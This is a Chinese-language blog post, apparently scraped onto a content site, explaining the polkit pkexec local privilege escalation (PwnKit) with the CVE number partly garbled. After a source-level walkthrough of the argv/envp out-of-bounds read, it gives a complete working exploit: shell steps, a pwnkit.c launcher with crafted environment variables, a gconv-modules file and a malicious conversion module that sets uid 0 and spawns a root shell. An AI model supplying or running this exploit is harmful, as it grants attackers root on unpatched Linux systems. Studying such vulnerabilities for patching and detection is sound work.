700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 【CVE--4034】 漏洞详细原理以及复现 polkit的pkexec中的本地提权漏洞

【CVE--4034】 漏洞详细原理以及复现 polkit的pkexec中的本地提权漏洞

时间:2021-05-31 23:18:23

相关推荐

【CVE--4034】 漏洞详细原理以及复现 polkit的pkexec中的本地提权漏洞

简介

一个隐藏了的危险漏洞,利用的是polki的pkexec,它是一个 SUID 根程序,默认安装在每个主要的 Linux 发行版

Null

当你在linux下要查看文件时,运行列如像cat这样的程序,并提供test.txt作为参数

所以整个参数数组看起来如下:

cat test.txt0 1

cat是第一个参数索引’0’,第一个参数通常是程序本身的名称,在我们的例子中它是cat

第二个参数是我们刚刚提供带有索引’1’的test.txt的文件名,这些都是字符串

但是在内存中,过程看起来像这样

0|1|2|…|0|1|2…args env

因此你有一堆参数堆叠在一个地方,然后环境变量就在它旁边,所以首先是参数列表,然后是环境变量列表

那么考虑一个问题,真正将参数与环境变量区分开来的,比如这里真正的边界是什么?

这是一个重要的问题,因为内存是连续的,所以必须有一个明确的边界

0|1|2|null|0|1|2…args env

如果参数最后一个元素为null,这意味着是参数结束的地方和环境变量开始的地方

cat test.txt null0 1 2

这是我们之前cat的示例,这里数组的第三个元素就是null,这就是参数结束的地方和环境变量开始的地方

漏洞原理

/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481

首先查看pkexec中的源代码

for (n = 1; n < (guint) argc; n++) /这是一个循环,从变量n设置为1开始{if (strcmp (argv[n], "--help") == 0) /然后它会检查在运行时提供给pkexec程序的参数{opt_show_help = TRUE;}else if (strcmp (argv[n], "--version") == 0){opt_show_version = TRUE;}else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0){n++;if (n >= (guint) argc){usage (argc, argv);goto out;}

一直到下面第536行

g_assert (argv[argc] == NULL);path = g_strdup (argv[n]); /读取第N个参数,并将其设置为变量路径if (path == NULL){usage (argc, argv);goto out;}if (path[0] != '/'){/* g_find_program_in_path() is not suspectible to attacks via the environment */s = g_find_program_in_path (path);if (s == NULL){g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));goto out;}g_free (path);argv[n] = path = s; /它读取程序的路径并将其设置回来到参数数组}if (access (path, F_OK) != 0)

看完这两段代码,你就会发现一个问题

null|…|…|…|args

如果第一个元素是null,会发生什么,带着这个问题,我们再次回到源代码中看一遍

for (n = 1; n < (guint) argc; n++)/最初n从这个循环中变为1,因为它与任何情况都不匹配,在值n设置为1的情况下打破这个循环{……}……path = g_strdup(argv[n]);//在这里,他试图读取n的参数,我们知道n现在的参数为1,但我们第0个数组是null,这意味这参数应该在那里结束,但这行代码仍在尝试读取超出范围的内容,因此当它超出范围时,读取的内容为环境变量,前面我们说过,null结束后就是环境变量的开始,所以在这里,当它尝试读取第二个参数时,实际上读取的是环境变量……if (path[0] != '/')/如果没有路径变量{s = g_find_program_in_path(path); /则越界读取'不以正斜杠开头'……argv[n] = path =s;/在这里回到n的路径}

这是一个越界,所以现在我们可以用某种方式利用这些,比如我们可以将如何环境变量注入到进程中

利用

我们可以在启动过程时添加一个环境变量,它们被称为’unsercure env vars’不安全的环境变量

/userspace/glibc/sysdeps/generic/unsecvars.h.html

例如LD_preload,这样的环境变量会在uid程序上为用户运行的程序自动过滤的环境变量

/userspace/glibc/elf/dl-support.c.html#348

如果它们没有被过滤,那么将是一个简单的权限提升,但linux知道这些攻击,因此从父进程到子进程限制了一些环境变量的传递

所以我们不能真正注入所有类型的环境变量,但由于我们有pkexec程序里的

argv[n] = path =s

我们可以使用它来注入不安全的环境变量,但在这之后有一个小问题,他调用clear env

if (clearenv () != 0) /清除每个环境变量{g_printerr ("Error clearing environment: %s\n", g_strerror (errno));goto out;}/* Initialize the GLib type system - this is needed to interact with the* PolicyKit daemon*/g_type_init ();/* make sure we are nuked if the parent process dies */#ifdef __linux__if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0){g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno));goto out;}

这意味着我们需要找到一种方法来执行代码,从代码越界的地方开始执行到它清除所有环境变量之前

所以让我们再次在程序越界之后看一下代码

if (!validate_environment_variable (key, value)) /它调用了验证环境变量的函数goto out;g_ptr_array_add (saved_env, g_strdup (key));g_ptr_array_add (saved_env, g_strdup (value));}

在这个函数内部有一个对g_print错误的条件调用

if (g_strcmp0 (key, "SHELL") == 0){/* check if it's in /etc/shells */if (!is_valid_shell (value)){log_message (LOG_CRIT, TRUE,"The value for the SHELL variable was not found the /etc/shells file");g_printerr ("\n""This incident has been reported.\n"); /错误条件调用的地方goto out;}}else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||strstr (value, "%") != NULL ||strstr (value, "..") != NULL){log_message (LOG_CRIT, TRUE,"The value for environment variable %s contains suscipious content",key);g_printerr ("\n""This incident has been reported.\n"); /错误条件调用的地方goto out;}

g_print这个函数有点重要,它可以帮助我们获得权限提升

这就是这个g_print错误函数通常的打印utf8错误消息的方式

但如果不是utf-8字符,他实际上会调用另一个函数,尝试使用转换模块将错误的utf-8字符转换为正确的

所以这里是关键的地方,我们需要完全控制这个转换模块

想法是

我们设置一个utf-8以外的东西,触发一个错误的判断,然后就会调用一个转换模块,我们可以使用一个名为gconv_path的环境变量来指定它,这个ICONV_OPEN函数会查看环境变量并从那里获取我们恶意的转换模块,一旦成功传输了我们的转换模块,它会尝试执行转换字符集,但实际上它是在执行我们的恶意代码,更重要的是,它是以root的身份执行的

利用脚本

首先我们先创建一个名为GCONV_PATH的目录

mkdir 'GCONV_PATH=.'

然后并在其中放在一个名为pwn的文件

touch GCONV_PATH\=./pwn

然后赋予pwn文件的执行权限

chmod +x pwn

然后新建一个文件

touch pwnkit.c

写入以下的代码

#include <unistd.h>int main() {char *argv[] = { NULL };char *envp[] = {"pwn","TERM=..","PATH=GCONV_PATH=.","CHARSET=BRUH",NULL};execve("/usr/bin/pkexec", argv, envp); return 0;}

解释

int main() {char *argv[] = { NULL };char *envp[] = {"pwn",/我们将第一个环境变量设置pwn"TERM=..", /这里会触发g_print打印错误"PATH=GCONV_PATH=.", /然后环境变量等于GCONV_PATH"CHARSET=BRUH",/设置为bruh来触发认为这不是utf-8的判断,并且它会尝试进行转换NULL};execve("/usr/bin/pkexec", argv, envp); return 0;}

创建一个名为phone的目录

mkdir phone

然后再在phone目录下创建pwn目录

mkdir pwn

创建一个名为gconv-modules的模块

写入

echo 'module UTF-8// BRUH// conversion-mod 1' > gconv-modules

然后再创建一个名为conversion-mod.c的文件

touch conversion-mod.c

然后写入

#define _GNU_SOURCE#include <unistd.h>#include <gconv.h>int gconv_init() {setuid(0);setgid(0);char *args[] = {"sh", NULL};char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};execvpe("/bin/sh", args, envp);return(__GCONV_OK);}int gconv(){ return(__GCONV_OK); }

解释

#define _GNU_SOURCE#include <unistd.h>#include <gconv.h>int gconv_init() {setuid(0); setgid(0); /都设置为零的意思是rootchar *args[] = {"sh", NULL};char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};execvpe("/bin/sh", args, envp);/创建一个简单的shellreturn(__GCONV_OK);}int gconv(){ return(__GCONV_OK); }

最后用gcc编译所有的c文件

然后运行pwnkit文件

或者下载

/PwnFunction/CVE--4034

在文件目录输入命令

make all

然后运行pwnlit文件

总结

避免被利用的方式是更新polkit,这篇文章写了一天,欢迎大家来关注我,之后也会写很多类似的分析文章

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。